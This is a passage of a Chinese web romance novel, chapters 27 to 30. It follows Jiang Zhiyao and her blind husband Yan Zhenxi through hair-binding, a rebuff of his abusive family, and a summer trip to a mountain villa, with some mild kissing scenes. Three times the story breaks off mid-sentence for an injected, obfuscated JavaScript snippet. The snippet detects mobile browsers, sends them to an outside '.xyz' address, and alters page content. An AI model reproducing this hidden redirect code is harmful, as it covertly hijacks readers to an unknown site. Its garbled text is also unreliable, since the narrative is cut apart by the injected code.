如今换上这个后，显的整个人愈发矜贵好看了起来。 “我知道阿瑶的眼光肯定不会差。”见到姜知瑶一脸欣赏的表情，晏枕溪想，以后可以多簪一些好看的发簪。 看着晏枕溪愉悦的样子，姜知瑶突然有点手痒：“枕溪，我明早来帮你束发吧。” 姜知瑶其实早就想这样了，上次帮晏枕溪擦干发的时候，摸着晏枕溪顺滑的长发，就有些蠢蠢欲动。 但那时她没敢说出口，如今再想到这个，姜知瑶已经能很自然的和晏枕溪说了。 “好。”晏枕溪自是应下，并开始在心里期待起明早来。 27. 束发 晏枕溪应下后，姜知瑶想起什么说道：“明早你若起了唤醒我便是。” 说到这个姜知瑶就有点不好意思了起来，她经常起得比晏枕溪要晚，总是让晏枕溪等她一起用早膳。 姜知瑶想让晏枕溪先用膳，但晏枕溪每次都说没有关系，其实她也试过早些起来，可之前因为不用请安，自然就习惯了贪睡会，如今竟一时改不掉了。 但明早要帮晏枕溪束发，总不能让他一直等着自己睡醒。 “没关系的。”晏枕溪温声说，“最近没什么要紧的事了，我想好好休息，明早也是要多睡一会的。” 用过晚膳后，姜知瑶想着先让平时帮晏枕溪束发的侍从教下自己，省的明早手忙脚乱的。 她刚问完晏枕溪平时帮他束发的是谁后，便听见晏枕溪说：“阿瑶怎么想着问这个？” “我想让他教下怎么束发。”姜知瑶如实说了。 “阿瑶找我不就好了？”晏枕溪放下手中刻字的竹简说道。 姜知瑶迟疑了一会问：“那你现在方便吗？” “当然。” 坐在梳妆台前，姜知瑶一时有些手足无措。 晏枕溪声音温润：“不要紧的，阿瑶慢慢来。” 姜知瑶按照晏枕溪的话把原本的束发解开，然后拿起一旁的梳子，轻柔地帮他梳起了头发。 接着便是束发了，男子的束发要比女子的简单许多，姜知瑶很快就上手了。 看着眼前铜镜里的姜知瑶，晏枕溪的眉眼带笑，姜知瑶现在正很认真地帮他理着头发，动作小心，仿佛手里的是什么珍贵易碎的东西一样，还总是时不时问他会不会痛，有没有扯到。 头发不断传来轻轻被牵扯的感觉，莫名的让晏枕溪觉得有点舒服。 明明坐到梳妆台前是为了方便姜知瑶整理头发，但没想到竟然更多的是便宜了晏枕溪。 姜知瑶不知道，她现在因为认真专注，嘴唇无意识微微抿起，眉毛也微微拧起，一副屏息凝神的模样，看得晏枕溪嘴角的弧度就没下来过。 “好啦。”过了一会，姜知瑶最后簪上今天买回来的发簪后，舒展开眉眼，有些雀跃地说道，“你摸摸看怎么样。” 晏枕溪顺着姜知瑶的话摸了摸，然后问道：“阿瑶是第一次帮人束发吗？” “是的。”姜知瑶有点紧张，是不满意吗？她觉得还挺好的。 “阿瑶好厉害，第一次束发就这么合适。”晏枕溪笑着夸赞，“感觉比平时的还要好看而且舒适。” “绣工也很厉害，阿瑶的手怎么这么巧。” 姜知瑶眼睛弯弯：“枕溪满意就好。” 听晏枕溪说完后，姜知瑶又仔细地看了看，觉得比刚才看着还要好看些，姜知瑶很满意。 “怎么办？”晏枕溪突然收敛笑意说道。 “什么？”姜知瑶不明所以。 “就寝的时候我也不想解开了，想带着阿瑶束的发睡觉。”晏枕溪一脸认真地说道。 “好了。”姜知瑶噗呲一声笑了出来，“别贫嘴了。” 见姜知瑶难得的生动笑靥，晏枕溪喉结不经意地滚动了一下，然后伸手拉着姜知瑶坐到了自己的腿上。 “怎么……”姜知瑶未尽的话语湮灭在唇齿之间。 晏枕溪缠住姜知瑶的腰肢，先在唇瓣上轻微吸吮几下后，舌尖很快便挑开齿关进去，勾住姜知瑶的不断缠绵。 有时轻轻扫过她的上颚，有时又强势地一下下勾住她的舌尖。 姜知瑶的眼角沁出无意识的泪花，余光看见了此时两人镜中的模样，原本有些疏离感的贵公子脸上染上情欲，亲吻的动作让姜知瑶看得脸红，也、有点让姜知瑶看得心痒。 而此时镜中自己的脸颊绯红，眼神迷离，姜知瑶只看了一眼便立马移开视线，有些不敢相信那是自己的模样。 晏枕溪退开轻笑了一声，姜知瑶微微喘了几口气，以为已经结束了，刚要开口，才发出一点的语调就又被弄碎。 不知过了多久，两人终于分开，看到晏枕溪的头发姜知瑶笑了起来：“你要留着睡觉的头发被我扯乱了。” “坏阿瑶。”晏枕溪抵着姜知瑶额头轻声说道。 “我明早还要帮你束呢。” “好阿瑶。”晏枕溪也笑了起来。 - 第二天早晨。 姜知瑶睁开眼，发现晏枕溪躺在自己身边，没有带眼纱，眼睛还是闭着的，便以为他还没醒，想先下床。 才稍微起身一点，想着要绕过晏枕溪，手腕突然被人牵住，姜知瑶一时不察，径直撞在了晏枕溪的身上。 听见晏枕溪小声的闷哼，姜知瑶看不见他的神色，连忙慌乱地道歉：“抱歉抱歉，我以为你在睡，没事吧？” “没事。”晏枕溪回道，声音有些沙哑，“阿瑶。” 晏枕溪原本扣住姜知瑶手腕的手转而搂住了她的腰，似是无意，晏枕溪的鼻尖轻蹭过姜知瑶的唇瓣。 “……我现在起来。”姜知瑶有些慌乱地侧开头。 闻言晏枕溪不但没有松开，环住姜知瑶腰身的手臂反而用力地往下压了一点：“阿瑶亲一口我就松开。” 姜知瑶迟疑了一会后开口：“你先松开我就亲。” “好。”晏枕溪不疑有他，松开了手放在一旁。 姜知瑶低头看他，见他闭上的双眼，心里有点说不清的遗憾。 晏枕溪能感觉到姜知瑶正在慢慢靠近自己，嘴角才刚刚上扬了一点，下一秒脸颊上就传来轻微的刺痛。 还没等他反应过来，姜知瑶已经下床离开了：“我先去洗漱了。” 话语里有些许的心虚。 晏枕溪抬手摸了摸刚刚被姜知瑶咬过的脸，有可以摸到的印记和一点濡湿。 他轻笑了一声，心情很好地起了床，来到正在洗漱的姜知瑶身边。 姜知瑶正在用巾帕洗面，见晏枕溪过来，自然地让出了一点位置给他。 洗完后，正要将巾帕放回去的时候，看见了晏枕溪刚刚被自己咬过的那边脸，姜知瑶的脸颊上立马染上热意。 那上面还留着些许晶莹，和一点痕迹。 她顾不得什么其他的了，连忙用自己手中的巾帕擦了擦晏枕溪的脸。 晏枕溪没有阻止姜知瑶，闭眼将腰弯下来一点，方便姜知瑶擦拭。 痕迹没有淡一点，仔细看还是能看清那是一个牙印，姜知瑶小声地开口为自己辩解：“我刚刚也没咬得很重啊。” “没事。”晏枕溪的话语里含着笑意，“我今天不出府，没有其他人会看见的。” 姜知瑶现在只能在心里希望这个痕迹快点消下去了。 洗漱好后，晏枕溪系上了眼纱，坐到了梳妆台前面。 姜知瑶所有的洗漱和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16058800|176640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 穿戴都做好后，刚放下手中的东西，准备转身喊晏枕溪，便看见他已经端正地坐在梳妆台前了。 姜知瑶没忍住笑了一下，随后走到晏枕溪的身后，拿起梳子帮晏枕溪束发了起来。 这次比昨晚的要更加熟练，没过一会便好了，和昨晚一样好看。 姜知瑶刚准备离开，晏枕溪状若无意地说道：“我觉得这里有点紧。” “哪里啊？”姜知瑶停住了要离开的脚步。 他还没来得及开口，门口有侍从来报说有人来求见晏枕溪。 是晏照他们。 姜知瑶下意识地看向晏枕溪的脸颊，还好，已经看不见一点痕迹了。 “让他们在正厅等。”晏枕溪说道。 侍从退下去了。 姜知瑶问道：“现在还紧吗？要不我帮你拆了让其他人来吧，他们快一点。” “没事。”晏枕溪拉着姜知瑶说道，“现在不紧了，刚刚应该是被扯到了。” “阿瑶跟我一起去吧，好不好。” 晏枕溪一点都不想再见到晏照他们，姜知瑶在一旁，还能让自己稍微克制一点厌恶的情绪。 “好。”姜知瑶应下。 正厅里。 晏照正在焦急地来回走着，顾兰茹坐在一旁的椅子上，一副魂不守舍的模样。 见晏枕溪和姜知瑶来了，晏照连忙迎了上去，说出了自己今天来的原因。 原来晏赐应在回京后，被大皇子拉拢了，成为了大皇子的党派，如今大皇子出事，圣上震怒，不仅将大皇子贬为庶人流放，而且还要清算他的这些党羽。 晏赐应已经被抓进去了，连同晏家都遭到了不小的打击和猜忌，晏照虽然没有被抓，但也被革职。 “那父亲今天来是想我做些什么呢？”晏枕溪淡声问道。 晏照嚅嗫了几下：“你能不能去圣上面前求下情，先把你弟弟放出来。” 晏枕溪还没说什么，姜知瑶已经坐不住了：“不行。” 大皇子犯的可是谋逆的大罪，而且这才刚发生没几天，圣上正在气头上，若是晏枕溪现在去求情，怕是都要连累到晏枕溪头上。 晏照他们无非就是想利用晏枕溪对圣上的恩情，那恩情用完了怎么办？他们根本就没有一点为晏枕溪着想。 顾兰茹见状立马对姜知瑶说道：“你在这里插什么……” 没等顾兰茹说完，晏枕溪将其话语打断：“夫人说的就是我想说的。” 晏照也着急了，连忙开口：“枕溪，你弟弟他只是一时糊涂，对于那些事他根本什么都不知道，更不可能会参与进去，枕溪，算为父求求你了。” 见晏照还接着不断用仁义孝道说话，姜知瑶听不下去了，起身挡到晏枕溪面前：“枕溪已经和你们分府了。” 接着又忍不住说：“你们之前那样对待晏枕溪，现在一出事就找上来了。” 晏枕溪安然坐在姜知瑶的身后，不发一言，笑意隐隐，目光一直落在姜知瑶身上。 被后辈这样落面子，晏照恼羞成怒，就要开口训斥。 但还没等他说话，便听见姜知瑶身后传来晏枕溪的声音：“父亲。” 晏枕溪面向晏照，淡淡喊了一声，莫名地，晏照突然就不敢开口了。 “抱歉，我无能为力。”晏枕溪站起来走到姜知瑶的身边拉住了她的手，“墨竹，送客吧。” 28. 心疼 说完便带着姜知瑶离开了正厅，见晏枕溪要离开，一旁的顾兰茹坐不住了，她起身就要阻拦，但被侍从拦住了。 看见晏枕溪和姜知瑶离开的背影，顾兰茹像是丢掉平时主母端庄的形象一样，破口大骂，说当初就不该让他活下来，说当初晏枕溪小时候还怎样求过自己给点吃食，现在就是一个忘恩负义的白眼狼。 晏照垂头站在一边，丝毫没有要制止顾兰茹的意思。 各种难听的话不绝于耳，姜知瑶加快脚步拉着晏枕溪离开，最后直接带着晏枕溪跑了起来。 等听不见顾兰茹的声音后，姜知瑶气喘吁吁地停了下来，她转身捂住晏枕溪耳朵说：“刚刚我们什么都没有听见。” “嗯。”晏枕溪乖乖点头。 姜知瑶放下捂住晏枕溪耳朵的手：“我们先去用早膳，然后就去书房，我给你念书。” “好。” 到书房后，姜知瑶在架上挑书，拿起一本问道：“要不就念上次的那本？还差一点没有念完。” 晏枕溪突然答非所问地轻声说道：“其实她说的都是真的。” 小时候他被一个人丢到偏院里，让他自生自灭，有次实在饿得不行了，就跑到顾兰茹面前问能不能给自己一点吃的。 他饿得都有些站不住了，顾兰茹站着撇了一眼晏枕溪，怀里抱着养的白白胖胖，还在襁褓里的晏赐应，没有理他。 过了一会见晏枕溪还站在那里，顾兰茹很是厌恶地说：“是谁把他放进来的？还不快把他赶出去。” 下人连忙上前要来抓晏枕溪，但下一秒顾兰茹的哥哥来府上了。 “见过顾将军。”下人纷纷行礼，放开了晏枕溪。 “哥哥。”顾兰茹有些高兴地迎上前。 顾将军淡淡地看了眼旁边的晏枕溪：“妹妹，好歹也是主母，别到时候苛待的名声传到外面去了。” “知道了。”顾兰茹不情不愿地应下，然后让人给了晏枕溪一点吃食。 后面每个月也会给晏枕溪一些吃食和衣物，但也只够维持基本的生存。 听到晏枕溪的讲述，姜知瑶走去了他面前。 晏枕溪坐在椅子上，察觉到她的走近，伸手抱住了姜知瑶，把头埋在了她的小腹上。 虽然姜知瑶幼时物质并不富裕，但因为有娘亲在，好歹不用愁吃穿，如今听到晏枕溪的话，心里泛起一阵阵心疼。 姜知瑶抬手摸了摸晏枕溪的脑袋，有些笨拙地开口安慰道：“没事的，都过去了，现在晏府他们都自身难保了，我们不还是好好的吗？” “他们还在求枕溪帮忙呢。” 接着姜知瑶说起了她之前听到过的其他人对晏枕溪所有的赞美之词，还边说起了那些人对顾兰茹和晏赐应那些暗地里的评价。 最后更是说了晏照，说他所为一家之主不作为即也没有担当也没有责任。 听着姜知瑶难得有些愤愤的语气，晏枕溪微微翘起嘴角，然后又放低声音说道：“他们都对我不好。” “我对你好啊。”姜知瑶看不清晏枕溪的神色，听到他还是有些低落的声音，连忙说道。 姜知瑶蹲下来很认真地看着晏枕溪，郑重地说道：“我会一直对你好的。” 晏枕溪愣住，没想到姜知瑶会这样说，心脏好像被人击中，泛起甜甜的酸涩，感受到了被人重视的珍重，心里本就对她没有多少防备的阵地寸寸失守，缴械投降，直抵最深处。 原本坚硬如寒冰的心早就被她一点点化开，如今更是直接化作了一池春水。 “不要管他们。”像是哄孩子一样，姜知瑶柔声说道，“他们都是坏人。” “……好。”晏枕溪停顿了一会，声音有些沙哑地说道。 听晏枕溪应完后，姜知瑶主动地凑过去亲了晏枕溪一口，因为动作有些大，还发出“啵”的一声。 听到声音后姜知瑶脸颊有些泛红，但还是装作无事的正常说道：“不要再想这些了，我给你念书听好不好？” 姜知瑶刚起身一点，就被晏枕溪环抱住往自己怀里送。 书房里的椅子很大，姜知瑶顺着晏枕溪的动作被迫侧坐在了晏枕溪的腿上。 “枕溪。”这样的姿势太过亲密，姜知瑶推了下晏枕溪，想他把自己放下来。 “没人会进来的。”晏枕溪一只手从前面抱住她的腰，另一只手环过姜知瑶的脖颈后面放在她的肩膀上，头低下，脸颊轻轻蹭过姜知瑶。 算了，姜知瑶放下拍晏枕溪的手，今天随他吧。 她就这样窝在晏枕溪的怀里，让晏枕溪拿起一旁的书籍递给自己，温声念了起来。 晏枕溪时不时低头亲吻姜知瑶，有些痒，还让她读书的声音停顿下来，姜知瑶轻轻拍了晏枕溪下：“认真听。” “好的。”晏枕溪立马老实起来，“姜夫子。” 听到晏枕溪的称呼后姜知瑶忍不住用书拍了下晏枕溪：“不要乱喊。” “好的。”晏枕溪改口，“夫人。” 但没过一会，晏枕溪又亲了一下姜知瑶的脸颊，还没等姜知瑶说什么，他自己就主动说：“抱歉，没忍住。” 看着温声窝在自己怀里念书的姜知瑶，晏枕溪根本听不进去书里的一点内容。 姜知瑶无奈把书放下：“算了，刚好我也累了，下次再念吧。” 姜知瑶想下去，但晏枕溪的手一点都没松，反而又凑过来亲了她一口。 “小心我又咬你。”姜知瑶有些气势汹汹地扭头说道。 晏枕溪闻言不仅没有退缩，反而把脸往前送了一点：“阿瑶，这边的没有咬过。” 姜知瑶哭笑不得：“好了，现在要去用午膳了。” 他如今哪里看得出之前那种温润如玉的贵公子形象。 “好吧。”听到姜知瑶的话后，晏枕溪这才松开了手。 - 最近天气愈发炎热起来，晏枕溪也没有什么要出府办的事情。 姜知瑶原本是想要出去玩，但天气实在太热了，大家都不愿意出来，只能待在府上了。 姜知瑶看着还系着眼纱，穿着长衫的晏枕溪问道：“你不热吗？” 虽然长衫是用轻薄的纱做成，但姜知瑶看上去还是觉得很热。 “还好。”晏枕溪回道，“阿瑶很热吗？要不要再多加几块冰？” “不用。”姜知瑶摇摇头。 虽然室内有冰块，但总归还是没那么舒适，最近这些天是天气最炎热的时候了，姜知瑶做什么都提不起兴趣来。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16070851|176640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >晏枕溪想了一会说道：“要不我们去清城吧，我知道那里有个私人山庄可以避暑。” “真的吗？”姜知瑶语气里有些期待，她之前还在纪府的时候就听到过清城，京城里的一些世家贵族还有商贾有时夏天就会到那里去避暑。 “真的。”晏枕溪笑了起来，“下午太热了，我们晚上就出发。” 清城在京城附近，行程大概要两三个时辰。 用过晚膳后，收拾好一些要用的东西，姜知瑶和晏枕溪就坐上了去往清城的马车。 他们要去的是清城一个最大的山庄，听说是位很有名的商人建的，京城里许多人都会去，客房要提前许久订下。 因为姜知瑶他们是临时起意，姜知瑶有点担心去了没有地方住，便提前问了晏枕溪。 晏枕溪听到后笑着说：“那个庄主我认识，他每年都会留房间给我。” 不过晏枕溪之前都没有去过，所以一时没记起来，不然在天气刚炎热起来的时候就带姜知瑶去了。 坐在马车上，姜知瑶掀开车帘往外看去，渐渐的，马车外的房屋和行人越来越少，姜知瑶有种难得的兴奋。 这还是这些年来她第一次离开京城，虽然要去的地方离京城也没多远，但姜知瑶还是感到有些新奇。 看久后姜知瑶有些疲乏了，天色也越来越暗沉，马车驶出京城后没多久，姜知瑶就没再看外面了。 她打了个哈欠，有点昏昏欲睡，已经到了她平时睡觉的时间了。 晏枕溪听到后说：“阿瑶睡会吧，到了我再叫醒你。” “你要睡吗？”姜知瑶强撑起一点精神问晏枕溪道。 “我现在不困。”晏枕溪摇了摇头。 马车很宽敞，姜知瑶躺着睡了下来，虽然有些颠簸，但她还是很快就睡着了。 等姜知瑶呼吸平稳后，晏枕溪靠近坐在了姜知瑶的身边，看着她因为不安而微皱起的眉头，晏枕溪轻抚了下，然后吻在了她的眉间。 示意车夫慢些后，晏枕溪轻轻抱起姜知瑶，帮她找了一个舒服的姿势，让她可以睡得更好一些，没那么感到颠簸。 不知过了多久，马车终于停在了一个山庄面前。 山庄外有许多人正在等候，见马车到来，侍从连忙上前接应。 姜知瑶察觉到动静，醒了过来。 “到了？”姜知瑶问道，眼神还有些迷蒙。 “嗯。”晏枕溪等姜知瑶缓了一会后，把她扶了起来，然后一起下了马车。 门口为首的一个身着锦衣的中年男子笑着迎了上来喊道：“晏大人，晏夫人。” “这个是季庄主。”晏枕溪介绍道。 “季庄主好。”姜知瑶微微点头。 “多谢季庄主了。”晏枕溪客套道。 “哪里哪里。”季庄主笑着说，“晏大人能来是季某的福气。” “不说这些了，我们现在去厢房吧。”季庄主在前面带路，见姜知瑶和晏枕溪脸上都有倦色，带完路客套几句就离开了。 “这里确实比京城要凉爽许多欸。”姜知瑶刚刚在马车上一醒来就感觉到气温没有像在京城那般烧灼。 已是深夜，房间已经提前被人整理好，姜知瑶和晏枕溪简单洗漱一下便沉沉睡去。 29. 避暑 山庄很大，虽然来这住的客人多，但每间客房都保持着一种很舒服的距离，不会有人来打搅。 洗漱没多久，门口就传来了侍从送膳的声音，姜知瑶接过膳食后道谢端进了房间。 早膳是山庄里准备的，是清城的特色，与京城里的不同，姜知瑶觉得也别有一番风味。 用过早膳后，晏枕溪便被季庄主请走了，姜知瑶带着南枝一起先逛起了这个山庄。 姜知瑶他们的房间位置很好，并不是在最中间但也不偏僻，前面有湖泊和流水，后面就是园林。 夏天，湖泊上一大片的荷花盛开，煞是好看，姜知瑶绕着湖泊走了一会后，走到了一个开辟出来，专门给客人用来给鱼喂食的地方。 水里游着许多锦鲤，旁边也有些姜知瑶并不认识的人在喂食。 姜知瑶起了些兴致，和南枝一起找了个位置喂食起来。 “小姐，这只锦鲤也太胖了吧。”姜知瑶顺着南枝指的方向看去，忍不住笑了起来。 那只锦鲤实在是太胖了，有正常的两个锦鲤那么大，中间鼓鼓的，像是有人吹气了一样，摆尾的幅度很小，正慢悠悠地在水里面游着。 “咦。”身边突然传来一个陌生清朗的声音，“我昨天看到它被抓到那边的池子去了，今天怎么又回来了？” 姜知瑶顺着声音看去，是一位清秀的少年郎，束起了一个高马尾，看上去很是清爽。 那个少年郎朝着姜知瑶笑了下继续说道：“好像是因为太胖了，所以才被抓走，但听说它好像总是被抓走后还偷偷游回来。” “我叫余夕照。”少年咧开嘴笑问，“姑娘叫什么？” 还没到姜知瑶说什么，不远处有人喊到：“夕照，要走了。” “马上来。”少年应后向那边走去，然后转头和姜知瑶说道：“我姐姐在叫我了，有缘再见。” 少年走后，姜知瑶继续喂食，在看到那条胖锦鲤游过来后，放下了手中的鱼食。 原本聚过来的鱼纷纷四散开来，但那条胖锦鲤却一直在姜知瑶旁边游荡。 近距离看后，只觉得更胖了，姜知瑶不由笑了起来，觉得看久了还挺可爱的。 “在笑什么？”晏枕溪走过来温声问道，他刚刚从季庄主那边回来。 姜知瑶和他说起了这只锦鲤，许是听到了姜知瑶如何形容自己的体型，那只锦鲤甩甩尾巴游走了。 无端的，姜知瑶觉得它游走的速度要比刚刚快，她没忍住又笑了一下。 晏枕溪听完后也笑了笑：“看来这里伙食实在太好了。” “季庄主说这里的游湖很受欢迎，要不要去？”晏枕溪问道。 “好啊。”姜知瑶点点头。 这里的湖面很宽广，水面上有盛开的荷花，还时不时能看见鸳鸯和天鹅。 清风徐来，很是凉爽。 姜知瑶把手伸到水里，但随着船的划动，即使手没有动作，还是能感受到水波的流动。 她收回手，抓住了旁边晏枕溪的手，一起放入了湖中。 “有感觉到吗？”姜知瑶问，“湖水的流动，我们现在身边都是波光粼粼的湖水呢。” “嗯。”晏枕溪反手握住了姜知瑶。 水面下，晏枕溪修长白皙的手一点点挤进姜知瑶的手指之间，转而十指相扣。 湖水静静流过手边，两个人的手紧紧相扣着。 不知过了多久，有小鱼好奇地凑过来，碰到了两人的手，两人这才打算分开，在水面波纹下，连手分开都显得有些缠绵，不知是否有意，最后分开的时候，晏枕溪的小拇指轻轻勾蹭了下姜知瑶的。 明明已经亲吻过许多遍，但对这小小的牵手，姜知瑶还是有些怦然心动。 晏枕溪拿出怀里的手帕，帮姜知瑶擦干了湿漉漉的手，他擦得很仔细，连指头都要一根根的专门擦拭。 随着船慢慢前进，姜知瑶在一旁和晏枕溪说着：“湖面荡开圈圈涟漪，若是傍晚时分，斜阳映水，肯定要更好看上些……右边湖畔有座亭子，亭角飞翘，远远望去，倒像鸟儿展翅欲飞……现在我们到荷花旁边了。” 在问过船夫后，姜知瑶摘下一朵盛开的荷花递给晏枕溪：“送你一朵。” 晏枕溪接过，花朵正好在他脸颊旁，荷花更好的映衬出他俊秀的容貌，光透过粉红荷花的花瓣打在晏枕溪脸上，倒是显得此时他的脸颊泛红。 姜知瑶一时看得心动，很想凑过去亲亲他，但现在船上还有船夫，她只得忍住。 已到岸边，船停了下来，旁边就是一大片荷花，船夫摘了几个莲蓬送给了他们。 回房间后，姜知瑶脱掉外衫放在架子上，晏枕溪站在床边的一个柜子旁，上面有一个细口的花瓶，问道：“这朵荷花放这里如何？” 姜知瑶慢慢走上前，突然垫脚吻住了晏枕溪，她闭着眼睛，用唇青涩地临摹起了晏枕溪的唇瓣。 他的唇真的好软，和平时看起来温润还带着点清冷的人不同，他的唇也很滚烫。 晏枕溪原本放在柜边的手无意识攥紧了柜角，然后反应过来搂住了姜知瑶的腰，低下头来，任凭姜知瑶动作，荷花掉落在了花瓶旁边。 没过一会，姜知瑶便松开了，她只是简单的唇瓣相贴了一会，但脸还是因为害羞而红扑扑的。 “……阿瑶。”晏枕溪喉结滚动了一下，声音有些暗哑还带着点诱哄，“再亲下，好不好。” 姜知瑶抿了抿唇，没有开口。 像是等不及般，晏枕溪说完没一会，他就迫不及待地吻住了姜知瑶。 轻巧地撬开了姜知瑶的齿关，深深吻住了她，和以往的温柔不同，晏枕溪这次显得有些急切，像是想搜刮走姜知瑶嘴里的所有东西，姜知瑶身体被吻得有些软，用双手勾住了晏枕溪的脖颈。 距离被拉得更近，晏枕溪抱着姜知瑶跌坐在床上，两人之间显得密不可分。 过了许久，姜知瑶推开晏枕溪，眼神有些迷蒙，晏枕溪还想凑过去亲吻，被她拦住了。 “……我都有些喘不过气了。”姜知瑶喘了几口气，头趴在晏枕溪肩膀上，小声抱怨着。 “太凶了。”似是觉得还有些不满，姜知瑶继续 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16081634|176640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小声说道。 因为两人之间距离太过近，姜知瑶的声音听上去黏黏糊糊的，就像在撒娇一样。 “抱歉，阿瑶。“晏枕溪听的心痒，又亲了亲姜知瑶的耳朵，“阿瑶难得主动一次，没实在忍住。” 气息打在耳边，姜知瑶缩了缩脖颈，没有说话。 晏枕溪看到她的耳朵染上了红色，轻笑了一下，姜知瑶的耳朵更红了。 “我饿了。”姜知瑶缓过来后离开晏枕溪的肩膀说道。 “我现在让侍从送膳过来。”晏枕溪亲了亲姜知瑶有些濡湿的眼睛。 在等侍从送膳的时候，晏枕溪把船夫送的几个莲蓬剥开了，装了一小碗的莲子。 “挺好吃的。”姜知瑶尝了一颗，白白胖胖的，晏枕溪还特意把中间的莲心去掉了。 用过午膳后，姜知瑶和晏枕溪一起浅浅睡了一会觉，便起来前去垂钓。 湖泊旁，垂钓所需的东西早已准备好，姜知瑶和晏枕溪坐在了小椅子上面。 姜知瑶还是第一次垂钓，不知道是不是因为这个原因，鱼儿接连咬过钩，反观晏枕溪那边，一下午过去了，只钓上了零星几条。 看了看晏枕溪有些空荡的鱼桶，姜知瑶笑眯眯地说：“没事的，我分一点给你。” 姜知瑶把后面掉上来的鱼放在了晏枕溪的鱼桶里。 到了傍晚，两人的鱼桶里都收获颇丰。 山庄里的侍从上前帮拿着鱼桶，笑道：“大人和夫人钓技精湛，有些人钓一下午都掉不上来一条呢。” 晏枕溪笑着说：“这些都是我夫人钓上来的。” “夫人真有一手！”侍从了然夸赞起了姜知瑶，然后问道，“这些鱼要拿去厨房做吗？” “要的。”姜知瑶点点头。 “好的，我们等会做好了再给您送去。” 不知道是不是因为是自己掉上来的缘故，姜知瑶用膳时比以往吃的多上了小半碗。 晚上，姜知瑶和晏枕溪在一个离房间不远处的亭子里赏月闲聊。 “这里怎么样？”晏枕溪问道。 “很好！”姜知瑶来之前还以为在这里只是会凉快些，但没什么玩的，在这里待七天怕会有些无聊，还带上了棋盘和叶子牌。 没想到今日玩了整整一天，都才只体验过了山庄的一小部分。 “枕溪觉得呢？”姜知瑶看向晏枕溪问道。 “我？”晏枕溪停顿了一下。 来到这里，晏枕溪除了和季庄主简单聊上一会后，就没有再管任何和京城有关的事情，一心一意的和姜知瑶待在一起。 今日实在是难得的闲暇，晏枕溪一时有些愣神，竟突然想不到什么可以形容贴切的词。 “很好。”过了一会，晏枕溪说出了和姜知瑶一样的话。 说完他拉起了姜知瑶的手，十指相扣，和游湖时一样的动作，却有着不一样的感觉。 此时相扣的手，只让姜知瑶觉得很心安，让她有种地久天长的感觉。 “明天我想去逛逛后面的园林。” “好。” 30. 小气 用过早膳后，姜知瑶和晏枕溪出了房间，往后面的园林走去。 如今出门，晏枕溪已经不带拐杖了，姜知瑶早已习惯了牵着晏枕溪走。 因为照顾晏枕溪的眼睛，所以走得很慢，姜知瑶正好可以仔细观赏风景。 这里有一些花和树是姜知瑶从没见过的，她不由有些好奇，一手牵着晏枕溪，一手凑近弯腰去看。 在又摸过一朵姜知瑶推荐的花后，晏枕溪笑着问：“喜欢这些花吗？要不要到时候让季庄主送些去府上？” “不用麻烦了。”姜知瑶摇摇头。 担心晏枕溪无聊，简单逛了小半个时辰后，姜知瑶便打算原路返回。 在走到某个转角的时候，迎面遇到了几个人，其中一个是昨天在喂鱼食时遇到的一个少年郎。 余夕照见到姜知瑶，眼睛亮了起来，他快步走到姜知瑶面前：“姑娘，好巧，今天又遇到了，可以知道你的名字吗？” 姜知瑶感到牵着的手突然被人攥紧，但很快力度又变小，她没有怎么放在心上。 “余公子好。”姜知瑶先打了个招呼，然后说道，“我叫姜知瑶，不过公子应该叫我夫人。” 昨天余夕照说话时姜知瑶一时插不上话，所以没有解释，今天遇到了，姜知瑶觉得还是解释下为好。 “这是我的夫君。” 姜知瑶说完这句话后，余夕照仿佛才注意到姜知瑶身边的人。 “抱歉抱歉。”余夕照的脸上满是歉意，“姜夫人。” 眼底有遗憾划过，余夕照有点沮丧，昨天在见过姜知瑶后，回去时他就一直心不在焉，晚上脑海里还在回想那时看见姜知瑶在池边言笑晏晏的模样。 很是后悔没有问清楚她的名字再离开，今日一遇见，他便心生欢喜，竟一时都没看见她身边的男子。 但他很快就调整好了，面朝晏枕溪问道：“不知郎君如何称呼？” “晏枕溪。”晏枕溪向余夕照微微颔首淡声说道。 “晏公子。”余夕照称呼了一声后反应过来，“你是晏枕溪？！” 意识到自己称呼的不妥后赶忙道歉：“抱歉抱歉，晏大人。” “久仰大名啊！”余夕照有些激动，“我最近还在读大人的诗赋呢。” “尤其是您两年前在瑶池畔写的那首诗我最喜欢了！还有当年您参加科举时的文章，我也经常拜读，我们师长也经常讲您的文章！” “您真的很厉害！不像我，参加了好几次科举了，今年才当刚刚上进士。” 余夕照自来熟地滔滔不绝讲了起来。 等余夕照说了一会停顿下来后，晏枕溪温声开口：“余公子，我们改日再聊可好？我和夫人正要回去。” “噢噢，当然当然。”余夕照连忙让出路来。 